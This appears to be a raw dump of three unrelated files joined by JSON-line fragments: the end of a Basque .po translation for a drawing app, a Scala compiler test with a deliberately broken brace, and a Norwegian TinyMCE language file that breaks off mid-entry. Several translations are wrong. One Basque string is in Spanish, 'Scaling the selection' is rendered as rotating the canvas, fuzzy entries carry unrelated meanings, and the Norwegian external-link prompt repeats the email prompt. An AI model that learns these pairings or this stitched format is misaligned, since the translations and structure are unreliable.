message\n#: src/window.py\n#, python-format\nmsgid \"Failed to load tool: %s\"\nmsgstr \"Errorea tresna kargatzean: %s\"\n\n#: src/window.py\nmsgid \"Modifications will take effect in the next new window.\"\nmsgstr \"Aldaketok hurrengo leiho berrian gauzatuko dira.\"\n\n#: src/window.py src/tools/abstract_tool.py\n#: src/optionsbars/classic/optionsbar-classic.ui\n#: src/tools/classic_tools/tool_eraser.py\n#: src/tools/classic_tools/tool_highlight.py\nmsgid \"No options\"\nmsgstr \"Aukerarik gabe\"\n\n#: src/window.py\nmsgid \"Opened images\"\nmsgstr \"Irudi irekiak\"\n\n#: src/window.py\n#, fuzzy, python-format\nmsgid \"Error: pane invalid for '%s', please report this bug.\"\nmsgstr \"Errorea aplikazioa abiaraztean, mesedez eman errorearen berri.\"\n\n#: src/window.py\n#, python-format\nmsgid \"Loading %s\"\nmsgstr \"Kargatzen %s\"\n\n#. Context: answer to \"where do you want to open the image?\"\n#: src/window.py\nmsgid \"New Tab\"\nmsgstr \"Fitxa berria\"\n\n#: src/window.py\nmsgid \"Discard changes\"\nmsgstr \"Baztertu aldaketak\"\n\n#. Context: %s will be replaced by the name of a file.\n#: src/window.py\n#, python-format\nmsgid \"Where do you want to open %s?\"\nmsgstr \"Non ireki nahi duzu %s?\"\n\n#. Context for translation:\n#. \"What do you want to do with *these files*?\"\n#: src/window.py\nmsgid \"these files\"\nmsgstr \"fitxategi hauek\"\n\n#. Context: %s will be replaced by the name of a file. The possible\n#. answers are \"cancel\", \"open\", and \"import\"\n#: src/window.py\n#, python-format\nmsgid \"What do you want to do with %s?\"\nmsgstr \"Zer egin nahi duzu %s-rekin?\"\n\n#: src/window.py\nmsgid \"Import a picture\"\nmsgstr \"Inportatu irudi bat\"\n\n#: src/window.py\nmsgid \"Required tool is not available\"\nmsgstr \"Eskatutako tresna ez dago erabilgarri\"\n\n#. Context: an error message\n#: src/tools/abstract_tool.py\n#, python-brace-format\nmsgid \"Can't start operation: wrong tool id (expected {0}, got {1})\"\nmsgstr \"\"\n\n#: src/tools/utilities_paths.py\nmsgid \"Continue\"\nmsgstr \"Jarraitu\"\n\n#: src/tools/utilities_paths.py\nmsgid \"The area seems poorly delimited, or is very complex.\"\nmsgstr \"Area hori ongi zehaztu gabe dago, edo oso konplexua da.\"\n\n#: src/tools/utilities_paths.py\nmsgid \"This algorithm may not be able to manage the wanted area.\"\nmsgstr \"Algoritmo horrek agian ezin du eskatutako area kudeatu.\"\n\n#: src/tools/utilities_paths.py\nmsgid \"Do you want to abort the operation, or to let the tool struggle ?\"\nmsgstr \"Nahi duzu ataza gelditu, edo tresna horrekin saiakera egin?\"\n\n#. Context: fill a shape with the color of the left click\n#: src/optionsbars/classic/optionsbar_color_popover.py\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Main color\"\nmsgstr \"Kolore nagusia\"\n\n#. Context: fill a shape with the color of the right click\n#: src/optionsbars/classic/optionsbar_color_popover.py\n#: src/optionsbars/transform/optionsbar-crop.ui src/tools/ui/tool-shape.ui\n#: src/tools/ui/tool-crop.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Secondary color\"\nmsgstr \"Bigarren kolorea\"\n\n#: src/optionsbars/classic/optionsbar-classic.ui\nmsgid \"Tool size\"\nmsgstr \"Tresnaren tamaina\"\n\n#: src/optionsbars/classic/optionsbar-classic.ui\n#: src/optionsbars/selection/optionsbar-selection.ui src/tools/ui/tool-text.ui\n#: src/tools/ui/tool-filters.ui\nmsgid \"Preview\"\nmsgstr \"Aurrebista\"\n\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"How the color will be applied to the existing pixels\"\nmsgstr \"Nola zabalduko da kolorea dauden pixeletan\"\n\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Back to the palette\"\nmsgstr \"Atzera paletara\"\n\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Palette\"\nmsgstr \"Paleta\"\n\n#: src/optionsbars/classic/optionsbar-color-popover.ui\nmsgid \"Use this editor by default\"\nmsgstr \"Erabili editore hau lehenespenez\"\n\n#: src/optionsbars/selection/optionsbar-selection.ui\n#: src/optionsbars/transform/optionsbar-rotate.ui\nmsgid \"More actions\"\nmsgstr \"Ekintza gehiago\"\n\n#: src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-filters.ui\n#: src/optionsbars/transform/optionsbar-rotate.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\n#: src/optionsbars/transform/optionsbar-skew.ui src/tools/ui/tool-crop.ui\n#: src/tools/ui/tool-filters.ui src/tools/ui/tool-rotate.ui\n#: src/tools/ui/tool-scale.ui src/tools/ui/tool-skew.ui\nmsgid \"Apply\"\nmsgstr \"Aplikatu\"\n\n#: src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-scale.ui\nmsgid \"More options\"\nmsgstr \"Aukera gehiago\"\n\n#: src/optionsbars/transform/optionsbar-crop.ui src/tools/ui/tool-crop.ui\nmsgid \"Expand with…\"\nmsgstr \"Zabaldu honekin…\"\n\n#: src/optionsbars/transform/optionsbar-crop.ui\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-crop.ui\nmsgid \"Transparency\"\nmsgstr \"Gardentasuna\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Select a filter…\"\nmsgstr \"Aukeratu iragazkia…\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui\nmsgid \"Saturation\"\nmsgstr \"Saturazioa\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui\nmsgid \"Blur radius\"\nmsgstr \"Lausotze erradioa\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Change saturation\"\nmsgstr \"Aldatu saturazioa\"\n\n#. Context: a filter adding like a light veil on the image\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Veil\"\nmsgstr \"Beloa\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Add transparency\"\nmsgstr \"Gehitu gardentasuna\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Invert colors\"\nmsgstr \"Trukatu koloreak\"\n\n#. Context: the title of the menu with various types of blurring\n#. filters and their options.\n#: src/optionsbars/transform/optionsbar-filters.ui\nmsgid \"Blurring\"\nmsgstr \"Lausotzea\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Fast blur\"\nmsgstr \"Lausotze azkarra\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Slow blur\"\nmsgstr \"Lausotze motela\"\n\n#. Context: a filter that censors the image with some kind of tiles\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Pixelisation\"\nmsgstr \"Pixelizazioa\"\n\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\nmsgid \"Blur direction\"\nmsgstr \"Lausotzearen norabidea\"\n\n#. Context: about the blur direction\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\nmsgid \"Horizontal\"\nmsgstr \"Horizontala\"\n\n#. Context: about the blur direction\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\nmsgid \"Vertical\"\nmsgstr \"Bertikala\"\n\n#. Context: about the blur direction\n#: src/optionsbars/transform/optionsbar-filters.ui src/tools/ui/tool-filters.ui\nmsgid \"No direction\"\nmsgstr \"Norabiderik gabe\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui\nmsgid \"Angle (degrees)\"\nmsgstr \"Angelua (gradu)\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui\nmsgid \"Angle\"\nmsgstr \"Angelua\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui src/tools/ui/tool-rotate.ui\nmsgid \"Rotate left\"\nmsgstr \"Biratu ezkerrera\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui src/tools/ui/tool-rotate.ui\nmsgid \"Rotate right\"\nmsgstr \"Biratu eskuinera\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui src/tools/ui/tool-rotate.ui\nmsgid \"Flip horizontally\"\nmsgstr \"Irauli horizontalki\"\n\n#: src/optionsbars/transform/optionsbar-rotate.ui src/tools/ui/tool-rotate.ui\nmsgid \"Flip vertically\"\nmsgstr \"Irauli bertikalki\"\n\n#. Context: the title of a menu to chose how the image will be scaled\n#: src/optionsbars/transform/optionsbar-scale.ui src/tools/ui/tool-scale.ui\nmsgid \"Keep proportions\"\nmsgstr \"Mantendu proportzioak\"\n\n#. Context: an item in a menu whose title is \"Keep proportions\"\n#. Context for translations: \"Always [keep proportions]\"\n#: src/optionsbars/transform/optionsbar-scale.ui src/tools/ui/tool-scale.ui\nmsgid \"Always\"\nmsgstr \"Beti\"\n\n#. Context: an item in a menu whose title is \"Keep proportions\"\n#. Context for translations: \"[Keep proportions only] when scaling from corners\"\n#: src/optionsbars/transform/optionsbar-scale.ui src/tools/ui/tool-scale.ui\nmsgid \"When scaling from corners\"\nmsgstr \"Izkinatik eskalatzean\"\n\n#. Context: an item in a menu whose title is \"Keep proportions\"\n#. Context for translations: \"Never [keep proportions]\"\n#: src/optionsbars/transform/optionsbar-scale.ui src/tools/ui/tool-scale.ui\nmsgid \"Never\"\nmsgstr \"Inoiz ez\"\n\n#: src/optionsbars/transform/optionsbar-skew.ui\nmsgid \"Horizontal deformation\"\nmsgstr \"Itxuraldaketa horizontala\"\n\n#: src/optionsbars/transform/optionsbar-skew.ui\nmsgid \"Vertical deformation\"\nmsgstr \"Itxuraldaketa bertikala\"\n\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui\nmsgid \"Line shape\"\nmsgstr \"Marraren forma\"\n\n#. Context: this is the name of a line shape\n#. Default values\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui src/tools/classic_tools/tool_arc.py\n#: src/tools/classic_tools/tool_line.py src/tools/classic_tools/tool_pencil.py\nmsgid \"Round\"\nmsgstr \"Mutur borobilduak\"\n\n#. Context: this is the name of a line shape\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui src/tools/classic_tools/tool_arc.py\n#: src/tools/classic_tools/tool_line.py src/tools/classic_tools/tool_pencil.py\nmsgid \"Thin\"\nmsgstr \"Mutur zorrotzak\"\n\n#. Context: this is the name of a line shape\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui src/tools/classic_tools/tool_arc.py\n#: src/tools/classic_tools/tool_line.py src/tools/classic_tools/tool_pencil.py\nmsgid \"Square\"\nmsgstr \"Mutur karratuak\"\n\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui\nmsgid \"Use dashes\"\nmsgstr \"Erabili marratxoak\"\n\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/classic_tools/tool_arc.py src/tools/classic_tools/tool_line.py\nmsgid \"Arrow\"\nmsgstr \"Gezia\"\n\n#: src/tools/ui/tool-arc.ui src/tools/ui/tool-line.ui\n#: src/tools/ui/tool-pencil.ui src/tools/ui/tool-shape.ui\nmsgid \"Antialiasing\"\nmsgstr \"Antialiasing-a\"\n\n#: src/tools/ui/tool-line.ui\nmsgid \"Color gradient\"\nmsgstr \"Kolore gradientea\"\n\n#. Context: title for the list of the possible painting algorithms.\n#: src/tools/ui/tool-paint.ui\nmsgid \"Behavior\"\nmsgstr \"Portaera\"\n\n#. Context: this is one of the possible painting algorithms. It\n#. tries to draw a shape around the area to paint, and fill it\n#. with the new color. The shape is approximative so it's not the\n#. default behavior of the tool.\n#: src/tools/ui/tool-paint.ui\nmsgid \"Encircle and fill\"\nmsgstr \"Borobildu eta bete\"\n\n#. Context: this is one of the possible painting algorithms. It\n#. erases the color the user clicked, and then replace transparent\n#. pixels with the new color.\n#: src/tools/ui/tool-paint.ui\nmsgid \"Erase and replace\"\nmsgstr \"Ezabatu eta ordeztu\"\n\n#. Context: this is one of the possible painting algorithms. It\n#. doesn't really paint, instead it erases the color the user\n#. clicked. For example to cut out an object from its white\n#. background.\n#: src/tools/ui/tool-paint.ui\n#, fuzzy\nmsgid \"Remove color\"\nmsgstr \"Jatorrizko kolorea\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Solid outline\"\nmsgstr \"Ertz jarraia\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Dashed outline\"\nmsgstr \"Ertz etena\"\n\n#. if state_as_string == 'none':\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"No outline\"\nmsgstr \"Ertzik gabe\"\n\n#: src/tools/ui/tool-shape.ui\nmsgid \"Filling\"\nmsgstr \"Betegarria\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Empty shape\"\nmsgstr \"Forma hutsa\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Horizontal gradient\"\nmsgstr \"Gradiente horizontala\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Vertical gradient\"\nmsgstr \"Gradiente bertikala\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Radial gradient\"\nmsgstr \"Gradiente erradiala\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Rectangle\"\nmsgstr \"Laukizuzena\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Rounded rectangle\"\nmsgstr \"Laukizuzen borobildua\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Oval\"\nmsgstr \"Elipsea\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Polygon\"\nmsgstr \"Poligonoa\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Free shape\"\nmsgstr \"Forma librea\"\n\n#: src/tools/ui/tool-shape.ui src/tools/classic_tools/tool_shape.py\nmsgid \"Circle\"\nmsgstr \"Zirkulua\"\n\n#: src/tools/ui/tool-shape.ui\nmsgid \"Close shape\"\nmsgstr \"Itxi forma\"\n\n#: src/tools/ui/tool-text.ui\nmsgid \"Insert here\"\nmsgstr \"Txertatu hemen\"\n\n#: src/tools/ui/tool-text.ui\nmsgid \"Font\"\nmsgstr \"Letra-mota\"\n\n#: src/tools/ui/tool-text.ui\nmsgid \"Select a font…\"\nmsgstr \"Hautatu letra-mota…\"\n\n#: src/tools/ui/tool-text.ui\nmsgid \"Italic\"\nmsgstr \"Etzana\"\n\n#: src/tools/ui/tool-text.ui\nmsgid \"Bold\"\nmsgstr \"Lodia\"\n\n#. Context: the types of background behind the inserted text\n#: src/tools/ui/tool-text.ui\nmsgid \"Background\"\nmsgstr \"Atzeko kolorea\"\n\n#. Context: a type of background behind the inserted text\n#: src/tools/ui/tool-text.ui src/tools/classic_tools/tool_text.py\nmsgid \"No background\"\nmsgstr \"Atzeko kolorerik gabe\"\n\n#. Context: a type of background behind the inserted text\n#: src/tools/ui/tool-text.ui src/tools/classic_tools/tool_text.py\nmsgid \"Shadow\"\nmsgstr \"Itzala\"\n\n#. Context: a type of background behind the inserted text\n#: src/tools/ui/tool-text.ui src/tools/classic_tools/tool_text.py\nmsgid \"Outline\"\nmsgstr \"Ertza\"\n\n#. Context: a type of background behind the inserted text\n#: src/tools/ui/tool-text.ui src/tools/classic_tools/tool_text.py\nmsgid \"Rectangle background\"\nmsgstr \"Betegarri laukizuzena\"\n\n#: src/tools/ui/selection.ui\n#, fuzzy\nmsgid \"Transform\"\nmsgstr \"Gardena\"\n\n#: src/tools/ui/selection.ui\nmsgid \"Flip\"\nmsgstr \"Irauli\"\n\n#. In this context, \"Skew\" is the name of the tool changing rectangles\n#. into parallelograms (= tilt, slant, bend). Named after MS Paint's\n#. \"Stretch/Skew\" dialog.\n#: src/tools/ui/selection.ui src/tools/transform_tools/tool_skew.py\nmsgid \"Skew\"\nmsgstr \"Etzan\"\n\n#: src/tools/classic_tools/tool_arc.py\nmsgid \"Curve\"\nmsgstr \"Kurba\"\n\n#: src/tools/classic_tools/tool_arc.py\nmsgid \"Curve options\"\nmsgstr \"Kurbaren aukerak\"\n\n#: src/tools/classic_tools/tool_arc.py src/tools/classic_tools/tool_line.py\nmsgid \"Dashed arrow\"\nmsgstr \"Puntukako gezia\"\n\n#: src/tools/classic_tools/tool_arc.py src/tools/classic_tools/tool_line.py\n#: src/tools/classic_tools/tool_pencil.py\nmsgid \"Dashed\"\nmsgstr \"Etena\"\n\n#: src/tools/classic_tools/tool_line.py\nmsgid \"Line\"\nmsgstr \"Marra\"\n\n#: src/tools/classic_tools/tool_line.py\nmsgid \"Line options\"\nmsgstr \"Marraren aukerak\"\n\n#: src/tools/classic_tools/tool_paint.py\nmsgid \"Painting options\"\nmsgstr \"Betegarriaren aukerak\"\n\n#: src/tools/classic_tools/tool_paint.py\nmsgid \"Click on an area to replace its color by transparency\"\nmsgstr \"Klikatu area batean kolorea kendu eta gardena uzteko\"\n\n#: src/tools/classic_tools/tool_pencil.py\nmsgid \"Pencil\"\nmsgstr \"Arkatza\"\n\n#: src/tools/classic_tools/tool_pencil.py\nmsgid \"Pencil options\"\nmsgstr \"Arkatzaren aukerak\"\n\n#: src/tools/classic_tools/tool_shape.py\nmsgid \"Shape\"\nmsgstr \"Forma\"\n\n#: src/tools/classic_tools/tool_shape.py\nmsgid \"Shape options\"\nmsgstr \"Formaren aukerak\"\n\n#: src/tools/classic_tools/tool_shape.py\nmsgid \"Click on the shape's first point to close it.\"\nmsgstr \"Klikatu formaren lehenengo puntuan bera ixteko.\"\n\n#: src/tools/classic_tools/tool_text.py\nmsgid \"Text\"\nmsgstr \"Testua\"\n\n#. XXX use \"text options\" instead\n#: src/tools/classic_tools/tool_text.py\nmsgid \"Font options\"\nmsgstr \"Letra motaren aukerak\"\n\n#: src/tools/selection_tools/abstract_select.py\nmsgid \"Drag the selection or right-click on the canvas\"\nmsgstr \"Arrastatu hautapena edo oihalean eskuin klik egin\"\n\n#: src/tools/selection_tools/abstract_select.py\nmsgid \"Select an area or right-click on the canvas\"\nmsgstr \"Hautatu area bat edo oihalean eskuin klik egin\"\n\n#: src/tools/selection_tools/select_rect.py\nmsgid \"Rectangle selection\"\nmsgstr \"Laukizuzen formako hautapena\"\n\n#: src/tools/transform_tools/abstract_transform_tool.py\nmsgid \"Error: invalid values\"\nmsgstr \"Errorea: datu baliogabeak\"\n\n#: src/tools/transform_tools/tool_crop.py\nmsgid \"Cropping the selection\"\nmsgstr \"Hautapena mozten\"\n\n#: src/tools/transform_tools/tool_crop.py\nmsgid \"Cropping the canvas\"\nmsgstr \"Oihala mozten\"\n\n#: src/tools/transform_tools/tool_filters.py\nmsgid \"Click on the image to preview the selected filter\"\nmsgstr \"Klikatu irudia hautatutako iragazkia aurreikusteko\"\n\n#: src/tools/transform_tools/tool_rotate.py\nmsgid \"Rotating the selection\"\nmsgstr \"Hautapena biratzen\"\n\n#: src/tools/transform_tools/tool_rotate.py\nmsgid \"Rotating the canvas\"\nmsgstr \"Girando el lienzo\"\n\n#: src/tools/transform_tools/tool_scale.py\nmsgid \"Scaling the selection\"\nmsgstr \"Oihala biratzen\"\n\n#: src/tools/transform_tools/tool_scale.py\nmsgid \"Scaling the canvas\"\nmsgstr \"Oihala eskalatzen\"\n\n#~ msgid \"Clipping\"\n#~ msgstr \"Mozketa\"\n\n#~ msgid \"Edit\"\n#~ msgstr \"Editatu\"\n\n#~ msgid \"Open a file\"\n#~ msgstr \"Ireki fitxategia\"\n\n#~ msgid \"Save as\"\n#~ msgstr \"Gorde honela\"\n"} {"text": "\nobject Test {\n\n def main(args: Array[String]) {\n val is = List(1,2,3)\n\n is match {\n// the erroneous brace is ignored, so we can't halt on it.\n// maybe brace healing can detect overlapping unmatched (...}\n// In this case, the fix emits an extra error:\n// t5702-neg-bad-brace.scala:10: error: Unmatched closing brace '}' ignored here\n// t5702-neg-bad-brace.scala:10: error: illegal start of simple pattern (i.e., =>)\n// t5702-neg-bad-brace.scala:11: error: ')' expected but '}' found.\n case List(1, _*} =>\n }\n }\n}\n"} {"text": "tinymce.addI18n('nb_NO',{\n\"Redo\": \"Gj\\u00f8r om\",\n\"Undo\": \"Angre\",\n\"Cut\": \"Klipp ut\",\n\"Copy\": \"Kopier\",\n\"Paste\": \"Lim inn\",\n\"Select all\": \"Marker alt\",\n\"New document\": \"Nytt dokument\",\n\"Ok\": \"Ok\",\n\"Cancel\": \"Avbryt\",\n\"Visual aids\": \"Visuelle hjelpemidler\",\n\"Bold\": \"Fet\",\n\"Italic\": \"Kursiv\",\n\"Underline\": \"Understreking\",\n\"Strikethrough\": \"Gjennomstreking\",\n\"Superscript\": \"Hevet skrift\",\n\"Subscript\": \"Senket skrift\",\n\"Clear formatting\": \"Fjern formateringer\",\n\"Align left\": \"Venstrejuster\",\n\"Align center\": \"Midtstill\",\n\"Align right\": \"H\\u00f8yrejuster\",\n\"Justify\": \"Blokkjuster\",\n\"Bullet list\": \"Punktliste\",\n\"Numbered list\": \"Nummerliste\",\n\"Decrease indent\": \"Reduser innrykk\",\n\"Increase indent\": \"\\u00d8k innrykk\",\n\"Close\": \"Lukk\",\n\"Formats\": \"Stiler\",\n\"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\\/C\\/V keyboard shortcuts instead.\": \"Nettleseren din st\\u00f8tter ikke direkte tilgang til utklippsboken. Bruk istedet tastatursnarveiene Ctrl+X\\/C\\/V.\",\n\"Headers\": \"Overskrifter\",\n\"Header 1\": \"Overskrift 1\",\n\"Header 2\": \"Overskrift 2\",\n\"Header 3\": \"Overskrift 3\",\n\"Header 4\": \"Overskrift 4\",\n\"Header 5\": \"Overskrift 5\",\n\"Header 6\": \"Overskrift 6\",\n\"Headings\": \"Overskrifter\",\n\"Heading 1\": \"Overskrift 1\",\n\"Heading 2\": \"Overskrift 2\",\n\"Heading 3\": \"Overskrift 3\",\n\"Heading 4\": \"Overskrift 4\",\n\"Heading 5\": \"Overskrift 5\",\n\"Heading 6\": \"Overskrift 6\",\n\"Preformatted\": \"Forh\\u00e5ndsformatert\",\n\"Div\": \"Div\",\n\"Pre\": \"Pre\",\n\"Code\": \"Kode\",\n\"Paragraph\": \"Avsnitt\",\n\"Blockquote\": \"Blockquote\",\n\"Inline\": \"Innkapslet \",\n\"Blocks\": \"Blokker\",\n\"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.\": \"Lim inn er n\\u00e5 i ren-tekst modus. Kopiert innhold vil bli limt inn som ren tekst inntil du sl\\u00e5r av dette valget.\",\n\"Fonts\": \"Fonter\",\n\"Font Sizes\": \"Fontst\\u00f8rrelser\",\n\"Class\": \"Klasse\",\n\"Browse for an image\": \"S\\u00f8k etter bilde\",\n\"OR\": \"ELLER\",\n\"Drop an image here\": \"Slipp et bilde her\",\n\"Upload\": \"Last opp\",\n\"Block\": \"Blokk\",\n\"Align\": \"Juster\",\n\"Default\": \"Normal\",\n\"Circle\": \"\\u00c5pen sirkel\",\n\"Disc\": \"Fylt sirkel\",\n\"Square\": \"Fylt firkant\",\n\"Lower Alpha\": \"Minuskler\",\n\"Lower Greek\": \"Greske minuskler\",\n\"Lower Roman\": \"Romerske minuskler\",\n\"Upper Alpha\": \"Versaler\",\n\"Upper Roman\": \"Romerske versaler\",\n\"Anchor...\": \"Lenke\",\n\"Name\": \"Navn\",\n\"Id\": \"Id\",\n\"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.\": \"Id burde starte med en bokstav, bare fulgt av bokstaver, nummer, streker, punktum, koloner eller understreker.\",\n\"You have unsaved changes are you sure you want to navigate away?\": \"Du har ikke arkivert endringene. Vil du fortsette uten \\u00e5 arkivere?\",\n\"Restore last draft\": \"Gjenopprett siste utkast\",\n\"Special characters...\": \"Spesialtegn\",\n\"Source code\": \"Kildekode\",\n\"Insert\\/Edit code sample\": \"Sett inn\\/endre kodeeksempel\",\n\"Language\": \"Spr\\u00e5k\",\n\"Code sample...\": \"Kodeeksempel\",\n\"Color Picker\": \"Fargevelger\",\n\"R\": \"R\",\n\"G\": \"G\",\n\"B\": \"B\",\n\"Left to right\": \"Venstre til h\\u00f8yre\",\n\"Right to left\": \"H\\u00f8yre til venstre\",\n\"Emoticons...\": \"Emoticons..\",\n\"Metadata and Document Properties\": \"Metadata og dokumentverdier\",\n\"Title\": \"Tittel\",\n\"Keywords\": \"N\\u00f8kkelord\",\n\"Description\": \"Beskrivelse\",\n\"Robots\": \"Roboter\",\n\"Author\": \"Forfatter\",\n\"Encoding\": \"Tegnkoding\",\n\"Fullscreen\": \"Fullskjerm\",\n\"Action\": \"Handling\",\n\"Shortcut\": \"Snarvei\",\n\"Help\": \"Hjelp\",\n\"Address\": \"Adresse\",\n\"Focus to menubar\": \"Fokus p\\u00e5 menylinje\",\n\"Focus to toolbar\": \"Fokus p\\u00e5 verkt\\u00f8ylinje\",\n\"Focus to element path\": \"Fokus p\\u00e5 elementsti\",\n\"Focus to contextual toolbar\": \"Fokus p\\u00e5 kontekstuell verkt\\u00f8ylinje\",\n\"Insert link (if link plugin activated)\": \"Sett inn lenke (dersom lenketillegg er aktivert)\",\n\"Save (if save plugin activated)\": \"Lagre (dersom lagretillegg er aktivert)\",\n\"Find (if searchreplace plugin activated)\": \"Finn (dersom tillegg for s\\u00f8k og erstatt er aktivert)\",\n\"Plugins installed ({0}):\": \"Installerte tillegg ({0}):\",\n\"Premium plugins:\": \"Premiumtillegg:\",\n\"Learn more...\": \"Les mer ...\",\n\"You are using {0}\": \"Du bruker {0}\",\n\"Plugins\": \"Tillegg\",\n\"Handy Shortcuts\": \"Nyttige snarveier\",\n\"Horizontal line\": \"Horisontal linje\",\n\"Insert\\/edit image\": \"Sett inn\\/endre bilde\",\n\"Image description\": \"Bildebeskrivelse\",\n\"Source\": \"Bildelenke\",\n\"Dimensions\": \"Dimensjoner\",\n\"Constrain proportions\": \"Behold proporsjoner\",\n\"General\": \"Generelt\",\n\"Advanced\": \"Avansert\",\n\"Style\": \"Stil\",\n\"Vertical space\": \"Vertikal marg\",\n\"Horizontal space\": \"Horisontal marg\",\n\"Border\": \"Ramme\",\n\"Insert image\": \"Sett inn bilde\",\n\"Image...\": \"Bilde...\",\n\"Image list\": \"Bildeliste\",\n\"Rotate counterclockwise\": \"Roter mot venstre\",\n\"Rotate clockwise\": \"Roter mot h\\u00f8yre\",\n\"Flip vertically\": \"Speilvend vertikalt\",\n\"Flip horizontally\": \"Speilvend horisontalt\",\n\"Edit image\": \"Rediger bilde\",\n\"Image options\": \"Bilde innstillinger\",\n\"Zoom in\": \"Zoom inn\",\n\"Zoom out\": \"Zoom ut\",\n\"Crop\": \"Beskj\\u00e6r\",\n\"Resize\": \"Skaler\",\n\"Orientation\": \"Orientering\",\n\"Brightness\": \"Lysstyrke\",\n\"Sharpen\": \"Skarphet\",\n\"Contrast\": \"Kontrast\",\n\"Color levels\": \"Fargeniv\\u00e5\",\n\"Gamma\": \"Gamma\",\n\"Invert\": \"Inverter\",\n\"Apply\": \"Utf\\u00f8r\",\n\"Back\": \"Tilbake\",\n\"Insert date\\/time\": \"Sett inn dato\\/tid\",\n\"Date\\/time\": \"Dato\\/tid\",\n\"Insert\\/Edit Link\": \"Sett inn \\/ Rediger lenke\",\n\"Insert\\/edit link\": \"Sett inn\\/endre lenke\",\n\"Text to display\": \"Tekst som skal vises\",\n\"Url\": \"Url\",\n\"Open link in...\": \"\\u00c5pne lenke i..\",\n\"Current window\": \"N\\u00e5v\\u00e6rende vindu\",\n\"None\": \"Ingen\",\n\"New window\": \"Nytt vindu\",\n\"Remove link\": \"Fjern lenke\",\n\"Anchors\": \"Anker\",\n\"Link...\": \"Lenke...\",\n\"Paste or type a link\": \"Lim inn eller skriv en lenke\",\n\"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?\": \"Oppgitte URL ser ut til \\u00e5 v\\u00e6re en epost-adresse. \\u00d8nsker du \\u00e5 sette inn p\\u00e5krevet mailto: prefiks forran epost-adressen?\",\n\"The URL you entered seems to be an external link. Do you want to add the required http:\\/\\/ prefix?\": \"Oppgitt URL ser ut til \\u00e5 v\\u00e6re en e-postadresse. \\u00d8nsker du \\u00e5 sette inn p\\u00e5krevd mailto:-prefiks foran e-postadressen?\",\n\"Link list\": \"Lenkeliste\",\n\"Insert video\": \"Sett inn video\",\n\"Insert\\/edit video\": \"Sett inn\\/rediger video\",\n\"Insert\\/edit media\": \"Sett inn\\/endre media\",\n\"Alternative source\": \"Alternativ kilde\",\n\"Alternative source URL\": \"Alternativ kilde URL\",\n\"Media poster (Image URL)\": \"Mediaposter 